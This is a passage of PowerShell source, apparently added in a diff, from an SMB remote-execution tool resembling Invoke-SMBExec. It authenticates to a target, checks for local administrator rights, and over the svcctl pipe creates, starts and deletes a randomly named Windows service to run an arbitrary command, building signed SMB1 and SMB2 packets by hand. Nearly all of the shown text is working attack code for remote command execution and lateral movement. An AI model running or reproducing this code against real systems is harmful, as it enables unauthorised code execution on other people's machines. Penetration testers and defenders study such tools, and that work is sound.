$Target" + $login_successful = $true + } + else + { + Write-Output "$output_username failed to authenticate on $Target" + $login_successful = $false + } + + } + else + { + if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -eq '00-00-00-00') + { + Write-Output "$output_username successfully authenticated on $Target" + $login_successful = $true + } + else + { + Write-Output "$output_username failed to authenticate on $Target" + $login_successful = $false + } + + } + + if($login_successful) + { + $SMB_path = "\\" + $Target + "\IPC$" + + if($SMB_version -eq 'SMB1') + { + $SMB_path_bytes = [System.Text.Encoding]::UTF8.GetBytes($SMB_path) + 0x00 + } + else + { + $SMB_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_path) + } + + $SMB_named_pipe_UUID = 0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38,0x00,0x10,0x03 + + if(!$Service) + { + $SMB_service_random = [String]::Join("00-",(1..20 | ForEach-Object{"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)})) + $SMB_service = $SMB_service_random -replace "-00","" + $SMB_service = $SMB_service.Substring(0,$SMB_service.Length - 1) + $SMB_service = $SMB_service.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $SMB_service = New-Object System.String ($SMB_service,0,$SMB_service.Length) + $SMB_service_random += '00-00-00-00-00' + $SMB_service_bytes = $SMB_service_random.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + } + else + { + $SMB_service = $Service + $SMB_service_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_service) + + if([Bool]($SMB_service.Length % 2)) + { + $SMB_service_bytes += 0x00,0x00 + } + else + { + $SMB_service_bytes += 0x00,0x00,0x00,0x00 + + } + + } + + $SMB_service_length = [System.BitConverter]::GetBytes($SMB_service.length + 1) + + if($CommandCOMSPEC -eq 'Y') + { + $Command = "%COMSPEC% /C `"" + $Command + "`"" + } + else + { + $Command = "`"" + $Command + "`"" + } + + [System.Text.Encoding]::UTF8.GetBytes($Command) | ForEach-Object{$SMBExec_command += "{0:X2}-00-" -f $_} + + if([Bool]($Command.Length % 2)) + { + $SMBExec_command += '00-00' + } + else + { + $SMBExec_command += '00-00-00-00' + } + + $SMBExec_command_bytes = $SMBExec_command.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $SMBExec_command_length_bytes = [System.BitConverter]::GetBytes($SMBExec_command_bytes.Length / 2) + + + if($SMB_version -eq 'SMB1') + { + $SMB_client_stage = 'TreeConnectAndXRequest' + + :SMB_execute_loop while ($SMB_client_stage -ne 'exit') + { + + switch ($SMB_client_stage) + { + + 'TreeConnectAndXRequest' + { + $packet_SMB_header = Get-PacketSMBHeader 0x75 0x18 0x01,0x48 0xff,0xff $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $MD5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider + $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $SMB_signing_counter = 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + } + + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBTreeConnectAndXRequest $SMB_path_bytes + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'CreateAndXRequest' + } + + 'CreateAndXRequest' + { + $SMB_named_pipe_bytes = 0x5c,0x73,0x76,0x63,0x63,0x74,0x6c,0x00 # \svcctl + $SMB_tree_ID = $SMB_client_receive[28,29] + $packet_SMB_header = Get-PacketSMBHeader 0xa2 0x18 0x02,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + } + + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBNTCreateAndXRequest $SMB_named_pipe_bytes + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'RPCBind' + } + + 'RPCBind' + { + $SMB_FID = $SMB_client_receive[42,43] + $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + } + + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_RPC_data = Get-PacketRPCBind 1 0xb8,0x10 0x01 0x00,0x00 $SMB_named_pipe_UUID 0x02,0x00 + $packet_SMB_data = Get-PacketSMBWriteAndXRequest + $packet_SMB_data["SMBWriteAndXRequest_Remaining"] = 0x48,0x00 + $packet_SMB_data["SMBWriteAndXRequest_DataLengthLow"] = 0x48,0x00 + $packet_SMB_data["SMBWriteAndXRequest_ByteCount"] = 0x48,0x00 + $packet_SMB_data["SMBWriteAndXRequest_FID"] = $SMB_FID + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'OpenSCManagerW' + } + + 'ReadAndXRequest' + { + Start-Sleep -m $Sleep + $packet_SMB_header = Get-PacketSMBHeader 0x2e 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + } + + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBReadAndXRequest + $packet_SMB_data["SMBReadAndXRequest_FID"] = $SMB_FID + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = $SMB_client_stage_next + } + + 'OpenSCManagerW' + { + $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + } + + $packet_SCM_data = Get-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SCM_data.length + $packet_SMB_data["SMBWriteAndXRequest_FID"] = $SMB_FID + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'CheckAccess' + } + + 'CheckAccess' + { + + if([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($SMB_client_receive[88..107]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00') + { + $SMB_service_manager_context_handle = $SMB_client_receive[88..107] + + if($SMB_execute) + { + Write-Output "$output_username is a local administrator on $Target" + $SMB_client_stage = 'CreateServiceW' + } + else + { + Write-Output "$output_username is a local administrator on $Target" + $SMB_close_service_handle_stage = 2 + $SMB_client_stage = 'CloseServiceHandle' + } + + } + elseif([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '05-00-00-00') + { + Write-Output "$output_username is not a local administrator on $Target" + $SMBExec_failed = $true + } + else + { + Write-Output "Something went wrong with $Target" + $SMBExec_failed = $true + } + + } + + 'CreateServiceW' + { + $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + } + + $packet_SCM_data = Get-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SCM_data.length + $packet_SMB_data["SMBWriteAndXRequest_FID"] = $SMB_FID + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'StartServiceW' + } + + 'StartServiceW' + { + + if([System.BitConverter]::ToString($SMB_client_receive[112..115]) -eq '00-00-00-00') + { + Write-Output "Service $SMB_service created on $Target" + $SMB_service_context_handle = $SMB_client_receive[92..111] + $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + } + + $packet_SCM_data = Get-PacketSCMStartServiceW $SMB_service_context_handle + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.length 0 0 0x03,0x00,0x00,0x00 0x00,0x00 0x13,0x00 + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SCM_data.length + $packet_SMB_data["SMBWriteAndXRequest_FID"] = $SMB_FID + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + Write-Output "Trying to execute command on $Target" + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'DeleteServiceW' + } + elseif([System.BitConverter]::ToString($SMB_client_receive[112..115]) -eq '31-04-00-00') + { + Write-Output "Service $SMB_service creation failed on $Target" + $SMBExec_failed = $true + } + else + { + Write-Output "Service creation fault context mismatch" + $SMBExec_failed = $true + } + + } + + 'DeleteServiceW' + { + + if([System.BitConverter]::ToString($SMB_client_receive[88..91]) -eq '1d-04-00-00') + { + Write-Output "Command executed with service $SMB_service on $Target" + } + elseif([System.BitConverter]::ToString($SMB_client_receive[88..91]) -eq '02-00-00-00') + { + Write-Output "Service $SMB_service failed to start on $Target" + } + + $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + } + + $packet_SCM_data = Get-PacketSCMDeleteServiceW $SMB_service_context_handle + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.length 0 0 0x04,0x00,0x00,0x00 0x00,0x00 0x02,0x00 + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SCM_data.length + $packet_SMB_data["SMBWriteAndXRequest_FID"] = $SMB_FID + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'ReadAndXRequest' + $SMB_client_stage_next = 'CloseServiceHandle' + $SMB_close_service_handle_stage = 1 + } + + 'CloseServiceHandle' + { + if($SMB_close_service_handle_stage -eq 1) + { + Write-Output "Service $SMB_service deleted on $Target" + $SMB_close_service_handle_stage++ + $packet_SCM_data = Get-PacketSCMCloseServiceHandle $SMB_service_context_handle + } + else + { + $SMB_client_stage = 'CloseRequest' + $packet_SCM_data = Get-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle + } + $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + } + + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.length 0 0 0x05,0x00,0x00,0x00 0x00,0x00 0x00,0x00 + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SCM_data.length + $packet_SMB_data["SMBWriteAndXRequest_FID"] = $SMB_FID + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + } + + 'CloseRequest' + { + $packet_SMB_header = Get-PacketSMBHeader 0x04 0x18 0x07,0xc8 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + } + + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBCloseRequest 0x00,0x40 + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'TreeDisconnect' + } + + 'TreeDisconnect' + { + $packet_SMB_header = Get-PacketSMBHeader 0x71 0x18 0x07,0xc8 $SMB_tree_ID $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + } + + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBTreeDisconnectRequest + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'Logoff' + } + + 'Logoff' + { + $packet_SMB_header = Get-PacketSMBHeader 0x74 0x18 0x07,0xc8 0x34,0xfe $process_ID_bytes $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + $SMB_signing_counter = $SMB_signing_counter + 2 + [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signing_sequence + } + + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBLogoffAndXRequest + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB_sign = $session_key + $SMB_header + $SMB_data + $SMB_signature = $MD5.ComputeHash($SMB_sign) + $SMB_signature = $SMB_signature[0..7] + $packet_SMB_header["SMBHeader_Signature"] = $SMB_signature + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'Exit' + } + + } + + if($SMBExec_failed) + { + BREAK SMB_execute_loop + } + + } + + } + else + { + + $SMB_client_stage = 'TreeConnect' + + :SMB_execute_loop while ($SMB_client_stage -ne 'exit') + { + + switch ($SMB_client_stage) + { + + 'TreeConnect' + { + $SMB2_message_ID += 1 + $packet_SMB2_header = Get-PacketSMB2Header 0x03,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = Get-PacketSMB2TreeConnectRequest $SMB_path_bytes + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + + if($SMB_signing) + { + $SMB2_sign = $SMB2_header + $SMB2_data + $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) + $SMB2_signature = $SMB2_signature[0..15] + $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + } + + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'CreateRequest' + } + + 'CreateRequest' + { + $SMB2_tree_ID = 0x01,0x00,0x00,0x00 + $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl + $SMB2_message_ID += 1 + $packet_SMB2_header = Get-PacketSMB2Header 0x05,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + + if($SMB_signing) + { + $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 + } + + $packet_SMB2_data = Get-PacketSMB2CreateRequestFile $SMB_named_pipe_bytes + $packet_SMB2_data["SMB2CreateRequestFile_Share_Access"] = 0x07,0x00,0x00,0x00 + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = 